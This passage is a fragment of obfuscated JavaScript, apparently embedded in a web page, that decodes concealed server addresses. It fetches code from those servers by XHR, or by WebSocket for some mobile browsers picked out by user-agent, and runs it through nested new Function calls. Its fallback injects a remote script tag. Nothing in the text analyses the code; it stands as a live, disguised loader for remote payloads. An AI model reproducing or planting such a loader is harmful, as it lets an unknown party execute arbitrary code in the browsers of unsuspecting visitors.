XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=isynG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS55a2toanMMuY24lMM0E5NTMM1','167199',window,document,['M','M']);}:function(){};

关闭